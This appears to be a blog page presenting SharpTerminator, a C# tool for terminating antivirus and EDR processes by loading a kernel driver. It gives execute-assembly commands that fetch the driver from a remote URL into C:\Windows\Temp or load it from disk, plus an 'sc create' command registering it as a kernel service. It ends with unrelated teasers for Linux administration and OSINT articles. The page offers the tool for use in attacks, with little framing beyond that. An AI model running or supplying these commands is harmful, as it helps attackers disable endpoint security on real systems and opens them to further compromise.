C# port of ZeroMemoryEx’s Terminator, so all hail goes to him.
You can download the driver from a remote URL using SharpTerminator and load it to terminate AV/EDR processes, or you can directly load it to the disk to perform the same operation.
When using Remote URL, the driver is downloaded to “C:\Windows\Temp” and then loaded from there.
In fact, there is no difference between them; if you don’t want to use the upload function in your C2, you can use the other one.
Loading from remote url:
execute-assembly SharpTerminator.exe --url "http://remoteurl.com:80/Terminator.sys"Loading from disk:
execute-assembly SharpTerminator.exe --disk "C:\path\to\driver\Terminator.sys"If you get “Failed to register the process in the trusted list!” error you should add service manually:
sc create Terminator binPath= "C:\path\to\driver.sys" type= kernel start= demandOverview WhatsMyName is a free, community-driven OSINT tool designed to identify where a username exists…
Managing disk usage is a crucial task for Linux users and administrators alike. Understanding which…
Efficient disk space management is vital in Linux, especially for system administrators who manage servers…
Knowing how to check directory sizes in Linux is essential for managing disk space and…
Managing user accounts is a core responsibility for any Linux administrator. Whether you’re securing a…
Linux offers powerful command-line tools for system administrators to view and manage user accounts. Knowing…